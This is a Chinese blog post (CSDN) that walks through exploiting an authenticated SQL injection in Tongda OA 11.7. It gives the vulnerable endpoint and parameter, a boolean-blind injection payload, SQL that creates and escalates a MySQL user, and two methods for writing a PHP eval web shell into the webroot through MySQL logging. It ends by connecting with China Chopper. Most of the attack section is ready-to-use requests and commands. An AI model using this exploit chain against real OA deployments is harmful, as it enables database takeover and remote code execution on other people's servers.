通过oa后台入侵mysql_通达OA 11.7 后台sql注入getshell漏洞复现

本文详细介绍了通达OA 11.7版本的一个后台SQL注入漏洞,包括漏洞描述、影响版本、复现步骤。通过布尔盲注找到注入点,利用该漏洞创建新用户并赋予高权限,最终实现getshell。
摘要由CSDN通过智能技术生成

通达OA 11.7 后台sql注入漏洞复现

一、漏洞描述

通达OA 11.7存在sql注入

二、漏洞影响版本

通达oa 11.7

利用条件:需要账号登录

三、漏洞复现

1、下载通达OA 11.7,https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe,点击安装

2、condition_cascade参数存在布尔盲注

POC:

GET /general/hr/manage/query/delete_cascade.php?condition_cascade=select if((substr(user(),1,1)='r'),1,power(9999,99)) HTTP/1.1Host:192.168.77.137User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept:*/*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3X-Requested-With: XMLHttpRequest

Referer: http://192.168.77.137/general/index.php?isIE=0&modify_pwd=0

Cookie: PHPSESSID=ebpjtm5tqh5tvida5keba73fr0; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c71fa06d

DNT:1Connection: close

3、经过测试,过滤了一些函数(sleep、报错的函数等等),各种注释,使用payload:select if((1=1),1,power(9999,99))、select if((1=2),1,power(9999,99)),判断注入点 #当字符相等时,不报错,错误时报错

af3e265075a99a26bb88410041e42acf.png

7fc575c5a369e29cd2715040e1f92fe3.png

4、通过添加用户at666,密码为abcABC@123

grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

678ad744fec2d916d923327b306a336d.png

5、使用Navicat Premium连接数据库

6b1bc7af455fec1b344271adb0a81c74.png

6、添加的账户不能直接通过日志慢查询写入文件,需要给创建的账户添加权限

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));

75f464355a6f3753a06c3fb6b936ae71.png

7、然后用注入点刷新权限,因为该用户是没有刷新权限的权限的

general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

94e1efebe1dde19a68f07528c78774b1.png

8、再次登录,提示密码过期,需要重新执行grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

a6e9d8b87c24957969a8464e96ff5673.png

fd6715333c1ebd51f2288474dfb29368.png

9、然后写shell

方法一:

select @@basedir;

set global slow_query_log=on;

set global slow_query_log_file='C:/tongda11.7/webroot/test.php';

select '<?php eval($_POST[x]);?>' or sleep(11);

方法二:

select @@basedir;

set global general_log = on;

set global general_log_file ='C:/tongda11.7/webroot/test2.php';

select '<?php eval($_POST[test2]);?>';

show variables like '%general%';

9b101fb323fe3b7c642dd4439d1f7d8c.png

dc622c34e7e096030a5dbd1e5a7e2c5f.png

10、菜刀连接

75374def8d9e868eb054d5b1d5d9d178.png

--------------------------------------------------------------------------------------------

参考:https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值